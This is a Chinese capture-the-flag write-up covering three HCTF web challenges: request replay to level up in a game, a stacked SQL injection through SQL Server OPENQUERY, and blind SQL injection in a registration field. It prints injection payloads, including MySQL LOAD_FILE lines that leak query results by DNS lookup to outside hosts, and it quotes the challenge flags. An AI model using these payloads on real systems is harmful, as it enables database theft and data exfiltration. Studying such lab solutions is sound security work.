0%

两天做了HCTF的最简单的题

0x00 poker2

这两天真的是沉迷游戏,不能自拔,刚开始进入游戏的时候,发现同目录有flag.php,要求游戏升到100级,就可以得到flag,那就是刷级了,结果一注册,发现送了成长礼包(后来才发现原来其他人没有),直接飙到90级,占据全服第一的位置一个上午。这题就是抓包重复刷怪就好了,只知道圣诞小屋经验高。这里直接贴脚本了

简单的刷分脚本

到了100级后到flag.php就直接得到flag:hctf{Go0dLuck_toGetTheFl3g__from_game}

boring website

扫描发现有www.zip,里面有index.php的源码

注入点很明显,就是在参数id那,数据库密码 ‘oob’ 提示这道题是MySQL Out-of-Band攻击,再加上注释的 //link server: On linkname:mysql,目标数据库是SQL Server的,所以这里要用到OpenQuery表达式:OPENQUERY ( linked_server ,’query’ ),由于过滤了敏感字符,没法得到回显,主要参考文章:

http://bobao.360.cn/learning/detail/3458.html,发现可以利用DNS解析提取数据,例如:select load_file(concat(‘\’,version(),’.hacker.site\a.txt’));所以构造payload:id=1; select * from OpenQuery(mysql,’SELECT LOAD_FILE(CONCAT(“\”,(select 1),”.mysql.ip.port.8cs2vs.ceye.io\abc”))’);

在DNS解析平台可以得到反馈数据,那么就下来就是把(select 1)改成查库,查表,查字段/内容的语句就好了,主要还是学习了oob攻击一波,这里直接贴图:

得到flag:hctf{dn5-1og-can-take-f14g-6as84f}

0x01 poker-poker

打开发现和level 2里的poker2是一样的,那就是一道题两个flag,在做level 2 的时候,就尝试过很多方法,抓包的时候发现带有很多参数,所以把包后甩sqlmap里跑了一下,在注册处的包有报存在注入,但是sqlmap都没法跑出来,带着测试一波的心理开始手动测试,发现username参数可以进行时间盲注,没有过滤,直接构造payload:

?bc=2&bname=easdasd&head=6&pass=&sex=2&username= ’ and if( (ascii(substr((select database()),1))>97),sleep(5)1)–+

发现不仅可以时间,还可以直接判断返回值来注,可以构造payload:

?bc=2&bname=easdasd&head=6&pass=&sex=2&username=11111 ’ and if( (ascii(substr((select database()),1))>97),0,1)–+ 进行注入(这样写脚本方便点)

这里必须补充写下,直接查库是pm_hctf,查到第一个表是PasswordProtection

看到题目是的pspt,心里有点小高兴,结果花了好几个小时,把pm_hctf库下100多个表名都看了一遍,发现没有和flag有关的啊,最后重新查了下其他库,有个hctf,flag2表,真的是一把幸酸泪啊,直接贴脚本:

得到flag:hctf{y3u_G0t_tHe__poker_game}